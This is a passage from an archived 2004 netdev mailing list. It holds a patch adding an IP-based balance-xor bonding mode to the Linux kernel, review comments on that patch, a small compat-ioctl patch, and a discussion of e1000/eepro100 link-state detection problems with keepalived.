(data->h_dest[5]^bond_dev->dev_addr[5]) % bond->slave_cnt; + if (use_ip) { + switch (ntohs(skb->protocol)) { + case ETH_P_IP: + u = skb->nh.iph->saddr ^ skb->nh.iph->daddr; + u ^= (u >> 24) ^ (u >> 16) ^ (u >> 8); + slave_no = (u & 0xff) % bond->slave_cnt; + break; + case ETH_P_IPV6: + for (u = 0, i = 0; i < 4; i++) { + u ^= skb->nh.ipv6h->saddr.s6_addr32[i] ^ + skb->nh.ipv6h->daddr.s6_addr32[i]; + } + u ^= (u >> 24) ^ (u >> 16) ^ (u >> 8); + slave_no = (u & 0xff) % bond->slave_cnt; + break; + default: + use_ip = 0; + break; + } + } + + if (!use_ip) { + slave_no = (data->h_dest[5]^bond_dev->dev_addr[5]) % bond->slave_cnt; + } bond_for_each_slave(bond, slave, i) { slave_no--; @@ -3708,6 +3736,16 @@ goto out; } +static int bond_xmit_xor_mac(struct sk_buff *skb, struct net_device *bond_dev) +{ + return bond_xmit_xor(skb, bond_dev, 0); +} + +static int bond_xmit_xor_ip(struct sk_buff *skb, struct net_device *bond_dev) +{ + return bond_xmit_xor(skb, bond_dev, 1); +} + /* * in broadcast mode, we send everything to all usable interfaces. */ @@ -3794,7 +3832,10 @@ bond_dev->hard_start_xmit = bond_xmit_activebackup; break; case BOND_MODE_XOR: - bond_dev->hard_start_xmit = bond_xmit_xor; + bond_dev->hard_start_xmit = bond_xmit_xor_mac; + break; + case BOND_MODE_XOR_IP: + bond_dev->hard_start_xmit = bond_xmit_xor_ip; break; case BOND_MODE_BROADCAST: bond_dev->hard_start_xmit = bond_xmit_broadcast; @@ -3915,8 +3956,7 @@ for (i = 0; tbl[i].modename; i++) { if ((isdigit(*mode_arg) && tbl[i].mode == simple_strtol(mode_arg, NULL, 0)) || - (strncmp(mode_arg, tbl[i].modename, - strlen(tbl[i].modename)) == 0)) { + (strcmp(mode_arg, tbl[i].modename) == 0)) { return tbl[i].mode; } } diff -Nru a/include/linux/if_bonding.h b/include/linux/if_bonding.h --- a/include/linux/if_bonding.h Wed Jan 7 16:24:48 2004 +++ b/include/linux/if_bonding.h Wed Jan 7 16:33:42 2004 @@ -67,6 +67,7 @@ #define BOND_MODE_8023AD 4 #define BOND_MODE_TLB 5 #define BOND_MODE_ALB 6 /* TLB + RLB (receive load balancing) */ +#define BOND_MODE_XOR_IP 7 /* each slave's link has 4 states */ #define BOND_LINK_UP 0 /* link is up and running */ From per@hedeland.org Wed Jan 7 13:01:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 07 Jan 2004 13:01:57 -0800 (PST) Received: from pluto.hedeland.org (as1-2-8.mal.s.bonet.se [194.236.4.19]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i07L1hTa024229 for ; Wed, 7 Jan 2004 13:01:44 -0800 Received: from pluto.hedeland.org (localhost [127.0.0.1]) by pluto.hedeland.org (8.12.10/8.12.10) with ESMTP id i07L1cI5054665 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 7 Jan 2004 22:01:38 +0100 (CET) Received: (from per@localhost) by pluto.hedeland.org (8.12.10/8.12.10/Submit) id i07L1cOw054664; Wed, 7 Jan 2004 22:01:38 +0100 (CET) Date: Wed, 7 Jan 2004 22:01:38 +0100 (CET) From: Per Hedeland Message-Id: <200401072101.i07L1cOw054664@pluto.hedeland.org> To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] [bonding 2.6] Add balance-xor-ip bonding mode X-archive-position: 2261 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: per@hedeland.org Precedence: bulk X-list: netdev This patch adds a new bonding policy, similar to the previously existing balance-xor, but using the IP addresses rather than MAC addresses for IP packets, with fallback to MAC-based balance-xor for non-IP packets. The patch is against the net-drivers-2.5-exp tree (with Shmulik's 'update comment blocks' and Amir's 'using per-bond parameters' patches applied). --Per Hedeland per@hedeland.org diff -Nru a/Documentation/networking/bonding.txt b/Documentation/networking/bonding.txt --- a/Documentation/networking/bonding.txt Wed Jan 7 16:18:11 2004 +++ b/Documentation/networking/bonding.txt Wed Jan 7 16:45:11 2004 @@ -368,6 +368,17 @@ fails it's hw address is swapped with the new curr_active_slave that was chosen. + balance-xor-ip or 7 + + XOR IP policy: Transmit based on [(source IP address + XOR'd with destination IP address) modula slave count]. + I.e. similar to balance-xor, but uses the IP addresses + rather than MAC addresses for IP packets, which provides + better load balancing in some cases (e.g. most traffic + sent to a default gateway). For non-IP packets, it will + fall back to MAC-based balance-xor. This mode provides + load balancing and fault tolerance. + primary A string (eth0, eth2, etc) to equate to a primary device. If this diff -Nru a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Wed Jan 7 16:16:19 2004 +++ b/drivers/net/bonding/bond_main.c Wed Jan 7 16:45:11 2004 @@ -476,6 +476,7 @@ #include #include #include +#include #include #include #include @@ -585,6 +586,7 @@ { "balance-rr", BOND_MODE_ROUNDROBIN}, { "active-backup", BOND_MODE_ACTIVEBACKUP}, { "balance-xor", BOND_MODE_XOR}, +{ "balance-xor-ip", BOND_MODE_XOR_IP}, { "broadcast", BOND_MODE_BROADCAST}, { "802.3ad", BOND_MODE_8023AD}, { "balance-tlb", BOND_MODE_TLB}, @@ -607,6 +609,8 @@ return "fault-tolerance (active-backup)"; case BOND_MODE_XOR : return "load balancing (xor)"; + case BOND_MODE_XOR_IP: + return "load balancing (xor-ip)"; case BOND_MODE_BROADCAST : return "fault-tolerance (broadcast)"; case BOND_MODE_8023AD: @@ -3657,16 +3661,17 @@ /* * in XOR mode, we determine the output device by performing xor on - * the source and destination hw adresses. If this device is not + * the source and destination adresses. If this device is not * enabled, find the next slave following this xor slave. */ -static int bond_xmit_xor(struct sk_buff *skb, struct net_device *bond_dev) +static int bond_xmit_xor(struct sk_buff *skb, struct net_device *bond_dev, int use_ip) { struct bonding *bond = bond_dev->priv; struct ethhdr *data = (struct ethhdr *)skb->data; struct slave *slave, *start_at; - int slave_no; + int slave_no = 0; int i; + __u32 u; read_lock(&bond->lock); @@ -3674,7 +3679,30 @@ goto free_out; } - slave_no = (data->h_dest[5]^bond_dev->dev_addr[5]) % bond->slave_cnt; + if (use_ip) { + switch (ntohs(skb->protocol)) { + case ETH_P_IP: + u = skb->nh.iph->saddr ^ skb->nh.iph->daddr; + u ^= (u >> 24) ^ (u >> 16) ^ (u >> 8); + slave_no = (u & 0xff) % bond->slave_cnt; + break; + case ETH_P_IPV6: + for (u = 0, i = 0; i < 4; i++) { + u ^= skb->nh.ipv6h->saddr.s6_addr32[i] ^ + skb->nh.ipv6h->daddr.s6_addr32[i]; + } + u ^= (u >> 24) ^ (u >> 16) ^ (u >> 8); + slave_no = (u & 0xff) % bond->slave_cnt; + break; + default: + use_ip = 0; + break; + } + } + + if (!use_ip) { + slave_no = (data->h_dest[5]^bond_dev->dev_addr[5]) % bond->slave_cnt; + } bond_for_each_slave(bond, slave, i) { slave_no--; @@ -3707,6 +3735,16 @@ goto out; } +static int bond_xmit_xor_mac(struct sk_buff *skb, struct net_device *bond_dev) +{ + return bond_xmit_xor(skb, bond_dev, 0); +} + +static int bond_xmit_xor_ip(struct sk_buff *skb, struct net_device *bond_dev) +{ + return bond_xmit_xor(skb, bond_dev, 1); +} + /* * in broadcast mode, we send everything to all usable interfaces. */ @@ -3793,7 +3831,10 @@ bond_dev->hard_start_xmit = bond_xmit_activebackup; break; case BOND_MODE_XOR: - bond_dev->hard_start_xmit = bond_xmit_xor; + bond_dev->hard_start_xmit = bond_xmit_xor_mac; + break; + case BOND_MODE_XOR_IP: + bond_dev->hard_start_xmit = bond_xmit_xor_ip; break; case BOND_MODE_BROADCAST: bond_dev->hard_start_xmit = bond_xmit_broadcast; @@ -3914,8 +3955,7 @@ for (i = 0; tbl[i].modename; i++) { if ((isdigit(*mode_arg) && tbl[i].mode == simple_strtol(mode_arg, NULL, 0)) || - (strncmp(mode_arg, tbl[i].modename, - strlen(tbl[i].modename)) == 0)) { + (strcmp(mode_arg, tbl[i].modename) == 0)) { return tbl[i].mode; } } diff -Nru a/include/linux/if_bonding.h b/include/linux/if_bonding.h --- a/include/linux/if_bonding.h Wed Jan 7 16:21:37 2004 +++ b/include/linux/if_bonding.h Wed Jan 7 16:45:11 2004 @@ -67,6 +67,7 @@ #define BOND_MODE_8023AD 4 #define BOND_MODE_TLB 5 #define BOND_MODE_ALB 6 /* TLB + RLB (receive load balancing) */ +#define BOND_MODE_XOR_IP 7 /* each slave's link has 4 states */ #define BOND_LINK_UP 0 /* link is up and running */ From willy@w.ods.org Wed Jan 7 13:03:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 07 Jan 2004 13:03:20 -0800 (PST) Received: from willy.net1.nerim.net (willy.net1.nerim.net [62.212.114.60]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i07L35Ta024586 for ; Wed, 7 Jan 2004 13:03:06 -0800 Date: Wed, 7 Jan 2004 22:02:55 +0100 From: Willy Tarreau To: Stephan von Krawczynski Cc: linux-kernel , netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Problem with 2.4.24 e1000 and keepalived Message-ID: <20040107210255.GA545@alpha.home.local> References: <20040107200556.0d553c40.skraw@ithnet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040107200556.0d553c40.skraw@ithnet.com> User-Agent: Mutt/1.4i X-archive-position: 2262 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: willy@w.ods.org Precedence: bulk X-list: netdev Hi Stephan, On Wed, Jan 07, 2004 at 08:05:56PM +0100, Stephan von Krawczynski wrote: > Setup is a simple pair of routers with 2 nics each, all e1000. If you start a > vrrp setup with keepalived and interface state is down during keepalived > startup, then the failover does not work. If the nics are UP during startup > everything works well. Now the kernel part of the story: the exact same setup > works with tulip cards. > Is there a difference regarding UP/DOWN state handling/events in e1000 and > tulip. e100 and eepro100 show the same problem btw. I noticed the exact same problem about 1 year ago with the early 2.4 bonding code and eepro100. At this time, I attributed this to a yet undiscovered but in the bonding state machine, and could not investigate much since it was on a remote production machine. Someone went there and rebooted it and everything went OK. Before the reboot, the switch alredy detected an UP link, while the bonding code saw it down (using MII at this time, not ethtool). I recently read one report (here or on keepalived list) about someone who got the same problem with another eepro100. I wonder whether there would not be a bug either in the driver or in the chip itself. What I noticed is that if you load the driver while the cable is unplugged, and then plug it, the MII status says the link is still down. Unfortunately, the only e100 I have access to are in prod at a customer's and I really cannot make tests there. Cheers, Willy From greearb@candelatech.com Wed Jan 7 18:45:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 07 Jan 2004 18:45:28 -0800 (PST) Received: from ns1.wanfear.com (ns1.wanfear.com [207.212.57.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i082jFTa004198 for ; Wed, 7 Jan 2004 18:45:15 -0800 Received: from candelatech.com (evrtwa1-ar2-4-35-049-074.evrtwa1.dsl-verizon.net [4.35.49.74]) (authenticated bits=0) by ns1.wanfear.com (8.12.10/8.12.8) with ESMTP id i082j5Eu021315; Wed, 7 Jan 2004 18:45:07 -0800 Message-ID: <3FFCC430.4060804@candelatech.com> Date: Wed, 07 Jan 2004 18:45:04 -0800 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031007 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Willy Tarreau CC: Stephan von Krawczynski , linux-kernel , netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Problem with 2.4.24 e1000 and keepalived References: <20040107200556.0d553c40.skraw@ithnet.com> <20040107210255.GA545@alpha.home.local> In-Reply-To: <20040107210255.GA545@alpha.home.local> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2264 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 2044 Lines: 53 Willy Tarreau wrote: > Hi Stephan, > > On Wed, Jan 07, 2004 at 08:05:56PM +0100, Stephan von Krawczynski wrote: > >>Setup is a simple pair of routers with 2 nics each, all e1000. If you start a >>vrrp setup with keepalived and interface state is down during keepalived >>startup, then the failover does not work. If the nics are UP during startup >>everything works well. Now the kernel part of the story: the exact same setup >>works with tulip cards. >>Is there a difference regarding UP/DOWN state handling/events in e1000 and >>tulip. e100 and eepro100 show the same problem btw. > > > I noticed the exact same problem about 1 year ago with the early 2.4 > bonding code and eepro100. At this time, I attributed this to a yet > undiscovered but in the bonding state machine, and could not investigate > much since it was on a remote production machine. Someone went there and > rebooted it and everything went OK. Before the reboot, the switch alredy > detected an UP link, while the bonding code saw it down (using MII at this > time, not ethtool). I recently read one report (here or on keepalived list) > about someone who got the same problem with another eepro100. I wonder > whether there would not be a bug either in the driver or in the chip itself. > > What I noticed is that if you load the driver while the cable is unplugged, > and then plug it, the MII status says the link is still down. Unfortunately, > the only e100 I have access to are in prod at a customer's and I really > cannot make tests there. You have to bring the interface 'UP' before it will detect link, with something like: ifconfig eth2 up Could that be the problem? Ben > > Cheers, > Willy > > - > To unsubscribe from this list: send the line "unsubscribe linux-kernel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > Please read the FAQ at http://www.tux.org/lkml/ > -- Ben Greear Candela Technologies Inc http://www.candelatech.com From willy@w.ods.org Wed Jan 7 21:20:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 07 Jan 2004 21:20:38 -0800 (PST) Received: from willy.net1.nerim.net (willy.net1.nerim.net [62.212.114.60]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i085KGTa010187 for ; Wed, 7 Jan 2004 21:20:17 -0800 Date: Thu, 8 Jan 2004 06:20:00 +0100 From: Willy Tarreau To: Ben Greear Cc: Willy Tarreau , Stephan von Krawczynski , linux-kernel , netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Problem with 2.4.24 e1000 and keepalived Message-ID: <20040108052000.GA8829@alpha.home.local> References: <20040107200556.0d553c40.skraw@ithnet.com> <20040107210255.GA545@alpha.home.local> <3FFCC430.4060804@candelatech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3FFCC430.4060804@candelatech.com> User-Agent: Mutt/1.4i X-archive-position: 2265 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: willy@w.ods.org Precedence: bulk X-list: netdev Content-Length: 561 Lines: 16 Hi Ben, On Wed, Jan 07, 2004 at 06:45:04PM -0800, Ben Greear wrote: > You have to bring the interface 'UP' before it will detect link, > with something like: ifconfig eth2 up Don't you mean "after" instead of "before" here ? Because the case where it doesn't work is when everything is set up while the cable is unplugged, but conversely, if the system goes up with the cable plugged, setting the interface UP detects the link as UP and works. I believe that the problem is related to setting the interface UP with nothing plugged into it. Cheers, Willy From andi@muc.de Wed Jan 7 23:04:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 07 Jan 2004 23:04:35 -0800 (PST) Received: from averell.firstfloor.org (personne@pD9E56430.dip.t-dialin.net [217.229.100.48]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0874JTa011645 for ; Wed, 7 Jan 2004 23:04:20 -0800 Received: from averell.firstfloor.org (localhost [127.0.0.1]) by averell.firstfloor.org (8.12.6/8.12.6/SuSE Linux 0.6) with ESMTP id i0874EBQ031786; Thu, 8 Jan 2004 08:04:14 +0100 Received: (from andi@localhost) by averell.firstfloor.org (8.12.6/8.12.6/Submit) id i0874D0c031785; Thu, 8 Jan 2004 08:04:13 +0100 Date: Thu, 8 Jan 2004 08:04:13 +0100 From: Andi Kleen To: netdev@oss.sgi.com Cc: davem@redhat.com Subject: [PATCH] Mark SIOCSIFNAME as compatible ioctl Message-ID: <20040108070413.GA31778@averell> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i X-archive-position: 2266 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@muc.de Precedence: bulk X-list: netdev Content-Length: 678 Lines: 18 Mark SIOCSIFNAME as an ioctl that doesn't need 32bit conversion. Fixes nameif as 32bit executable. -Andi diff -X ../KDIFX -burpN linux-vanilla-2.6.1rc2/include/linux/compat_ioctl.h linux-2.6.1rc2-amd64/include/linux/compat_ioctl.h --- linux-vanilla-2.6.1rc2/include/linux/compat_ioctl.h 2004-01-07 02:36:31.000000000 -0800 +++ linux-2.6.1rc2-amd64/include/linux/compat_ioctl.h 2003-12-31 21:56:55.000000000 -0800 @@ -260,6 +260,7 @@ COMPATIBLE_IOCTL(SIOCATMARK) COMPATIBLE_IOCTL(SIOCSIFLINK) COMPATIBLE_IOCTL(SIOCSIFENCAP) COMPATIBLE_IOCTL(SIOCGIFENCAP) +COMPATIBLE_IOCTL(SIOCSIFNAME) COMPATIBLE_IOCTL(SIOCSIFBR) COMPATIBLE_IOCTL(SIOCGIFBR) COMPATIBLE_IOCTL(SIOCSARP) From greearb@candelatech.com Thu Jan 8 00:07:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 00:07:40 -0800 (PST) Received: from ns1.wanfear.com (ns1.wanfear.com [207.212.57.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0887HTa012814 for ; Thu, 8 Jan 2004 00:07:17 -0800 Received: from candelatech.com (evrtwa1-ar2-4-35-049-074.evrtwa1.dsl-verizon.net [4.35.49.74]) (authenticated bits=0) by ns1.wanfear.com (8.12.10/8.12.8) with ESMTP id i0887BEu030492; Thu, 8 Jan 2004 00:07:11 -0800 Message-ID: <3FFD0FAE.8050705@candelatech.com> Date: Thu, 08 Jan 2004 00:07:10 -0800 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031007 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Willy Tarreau CC: Stephan von Krawczynski , linux-kernel , netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Problem with 2.4.24 e1000 and keepalived References: <20040107200556.0d553c40.skraw@ithnet.com> <20040107210255.GA545@alpha.home.local> <3FFCC430.4060804@candelatech.com> <20040108052000.GA8829@alpha.home.local> In-Reply-To: <20040108052000.GA8829@alpha.home.local> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2267 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 1150 Lines: 38 Willy Tarreau wrote: > Hi Ben, > > On Wed, Jan 07, 2004 at 06:45:04PM -0800, Ben Greear wrote: > > >>You have to bring the interface 'UP' before it will detect link, >>with something like: ifconfig eth2 up > > > Don't you mean "after" instead of "before" here ? Because the case where > it doesn't work is when everything is set up while the cable is unplugged, > but conversely, if the system goes up with the cable plugged, setting the > interface UP detects the link as UP and works. I believe that the problem > is related to setting the interface UP with nothing plugged into it. No, I meant what I said: You have to tell many drivers to bring the interface up before they will attempt (or at least report) link negotiation. You do NOT have to give it an IP address or add any routes to it. But, I don't know about your particular program, I just suspect it is related to detecting link state. I think tg3 detects link when the interface is not UP, if you have some tg3 nics maybe you could try with them? Ben > > Cheers, > Willy > -- Ben Greear Candela Technologies Inc http://www.candelatech.com From skraw@ithnet.com Thu Jan 8 00:15:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 00:15:16 -0800 (PST) Received: from ithnet.com (mail3.ithnet.com [217.64.64.7]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i088F2Ta013257 for ; Thu, 8 Jan 2004 00:15:03 -0800 Received: (qmail 10514 invoked by uid 0); 8 Jan 2004 08:14:41 -0000 Received: from skraw@ithnet.com by heather-ng (Processed in 0.65375 secs); 08 Jan 2004 08:14:41 -0000 X-Virus-Status: No Received: from unknown (HELO ithnet.com) (217.64.64.14) by heather-ng.ithnet.com with SMTP; 8 Jan 2004 08:14:40 -0000 X-Sender-Authentication: net64 Date: Thu, 8 Jan 2004 09:14:41 +0100 From: Stephan von Krawczynski To: Ben Greear Cc: willy@w.ods.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Problem with 2.4.24 e1000 and keepalived Message-Id: <20040108091441.3ff81b53.skraw@ithnet.com> In-Reply-To: <3FFCC430.4060804@candelatech.com> References: <20040107200556.0d553c40.skraw@ithnet.com> <20040107210255.GA545@alpha.home.local> <3FFCC430.4060804@candelatech.com> Organization: ith Kommunikationstechnik GmbH X-Mailer: Sylpheed version 0.9.8 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2268 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: skraw@ithnet.com Precedence: bulk X-list: netdev Content-Length: 1020 Lines: 42 On Wed, 07 Jan 2004 18:45:04 -0800 Ben Greear wrote: > Willy Tarreau wrote: > > Hi Stephan, > > [...] > > What I noticed is that if you load the driver while the cable is unplugged, > > and then plug it, the MII status says the link is still down. > > Unfortunately, the only e100 I have access to are in prod at a customer's > > and I really cannot make tests there. > > You have to bring the interface 'UP' before it will detect link, > with something like: ifconfig eth2 up > > Could that be the problem? > > Ben Hi Ben, the situation is like this (exactly this works flawlessly with tulip): - unplug all interfaces from the switches - reboot box - plug in _one_ interface - log into the box (yes, network works flawlessly) - start keepalived - now plug in rest of the interfaces - watch keepalived do _nothing_ (seems no UP event shows up) in comparison to: - let all interfaces plugged in - reboot box - log in - start keepalived - watch it work as expected Regards, Stephan From willy@w.ods.org Thu Jan 8 00:46:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 00:46:35 -0800 (PST) Received: from willy.net1.nerim.net (willy.net1.nerim.net [62.212.114.60]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i088kITa016724 for ; Thu, 8 Jan 2004 00:46:19 -0800 Date: Thu, 8 Jan 2004 09:46:05 +0100 From: Willy Tarreau To: Ben Greear Cc: Willy Tarreau , Stephan von Krawczynski , linux-kernel , netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Problem with 2.4.24 e1000 and keepalived Message-ID: <20040108084605.GA9050@alpha.home.local> References: <20040107200556.0d553c40.skraw@ithnet.com> <20040107210255.GA545@alpha.home.local> <3FFCC430.4060804@candelatech.com> <20040108052000.GA8829@alpha.home.local> <3FFD0FAE.8050705@candelatech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3FFD0FAE.8050705@candelatech.com> User-Agent: Mutt/1.4i X-archive-position: 2269 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: willy@w.ods.org Precedence: bulk X-list: netdev Content-Length: 741 Lines: 20 On Thu, Jan 08, 2004 at 12:07:10AM -0800, Ben Greear wrote: > No, I meant what I said: You have to tell many drivers to bring the > interface > up before they will attempt (or at least report) link negotiation. > You do NOT have to give it an IP address or add any routes to it. ah, OK. No, anyway, it is just a matter of wrongly detecting link state after the link has been plugged while the interface was already UP, no matter if an IP was set or not. > But, I don't know about your particular program, I just suspect it > is related to detecting link state. I think tg3 detects link when > the interface is not UP, if you have some tg3 nics maybe you could > try with them? As far as I have tested, tg3 are fine WRT this. Willy From willy@w.ods.org Thu Jan 8 00:48:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 00:48:22 -0800 (PST) Received: from willy.net1.nerim.net (willy.net1.nerim.net [62.212.114.60]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i088m7Ta017074 for ; Thu, 8 Jan 2004 00:48:08 -0800 Date: Thu, 8 Jan 2004 09:47:58 +0100 From: Willy Tarreau To: Stephan von Krawczynski Cc: Ben Greear , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Problem with 2.4.24 e1000 and keepalived Message-ID: <20040108084758.GB9050@alpha.home.local> References: <20040107200556.0d553c40.skraw@ithnet.com> <20040107210255.GA545@alpha.home.local> <3FFCC430.4060804@candelatech.com> <20040108091441.3ff81b53.skraw@ithnet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040108091441.3ff81b53.skraw@ithnet.com> User-Agent: Mutt/1.4i X-archive-position: 2270 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: willy@w.ods.org Precedence: bulk X-list: netdev Content-Length: 520 Lines: 16 On Thu, Jan 08, 2004 at 09:14:41AM +0100, Stephan von Krawczynski wrote: > the situation is like this (exactly this works flawlessly with tulip): > > - unplug all interfaces from the switches > - reboot box > - plug in _one_ interface > - log into the box (yes, network works flawlessly) > - start keepalived > - now plug in rest of the interfaces > - watch keepalived do _nothing_ (seems no UP event shows up) I agree with this description, and would add : - mii-diag ethX or ethtool ethX report link down Willy From amir.noam@intel.com Thu Jan 8 07:34:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 07:34:33 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08FYFTa005086 for ; Thu, 8 Jan 2004 07:34:17 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.6 2003/12/18 18:57:17 root Exp $) with ESMTP id i08FXoek007175; Thu, 8 Jan 2004 15:33:50 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.8 2003/12/18 18:57:16 root Exp $) with SMTP id i08FXoxV029495; Thu, 8 Jan 2004 15:33:50 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010817334918087 ; Thu, 08 Jan 2004 17:33:49 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i08FXihb002518; Thu, 8 Jan 2004 17:33:46 +0200 (IST) From: Amir Noam To: "Per Hedeland" Subject: Re: [Bonding-devel] [PATCH] [bonding 2.4] Add balance-xor-ip bonding mode Date: Thu, 8 Jan 2004 17:33:44 +0200 User-Agent: KMail/1.5.3 References: In-Reply-To: Cc: , MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401081733.44744.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2271 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev Content-Length: 1113 Lines: 39 On Wednesday 07 January 2004 10:58 pm, Per Hedeland wrote: > struct bonding *bond = bond_dev->priv; > struct ethhdr *data = (struct ethhdr *)skb->data; > struct slave *slave, *start_at; > - int slave_no; > + int slave_no = 0; > int i; > + __u32 u; > > read_lock(&bond->lock); > Please use u32 instead of __u32. > +static int bond_xmit_xor_mac(struct sk_buff *skb, struct net_device *bond_dev) > +{ > + return bond_xmit_xor(skb, bond_dev, 0); > +} > + > +static int bond_xmit_xor_ip(struct sk_buff *skb, struct net_device *bond_dev) > +{ > + return bond_xmit_xor(skb, bond_dev, 1); > +} > + hmm... I don't like this. The reason we give different tx function pointers to dev->hard_start_xmit in different bonding mode is to make the tx path as fast as possible. Otherwise we might as well use a single tx function that chooses its exact operation based on the bonding mode. It might be better to have some code duplication if it results in faster tx, but I'm not sure what's the optimal solution in this case. -- Amir From tony.cureington@hp.com Thu Jan 8 07:36:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 07:37:07 -0800 (PST) Received: from zcamail03.zca.compaq.com (zcamail03.zca.compaq.com [161.114.32.103]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08FasTa005369 for ; Thu, 8 Jan 2004 07:36:54 -0800 Received: from cacexg12.americas.cpqcorp.net (cacexg12.americas.cpqcorp.net [16.92.1.46]) by zcamail03.zca.compaq.com (Postfix) with ESMTP id B53D3B9D0; Thu, 8 Jan 2004 07:36:48 -0800 (PST) Received: from txnexc01.americas.cpqcorp.net ([16.74.7.21]) by cacexg12.americas.cpqcorp.net with Microsoft SMTPSVC(6.0.3790.0); Thu, 8 Jan 2004 07:36:46 -0800 Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Subject: RE: [Bonding-devel] [PATCH] [bonding 2.6] Add balance-xor-ip 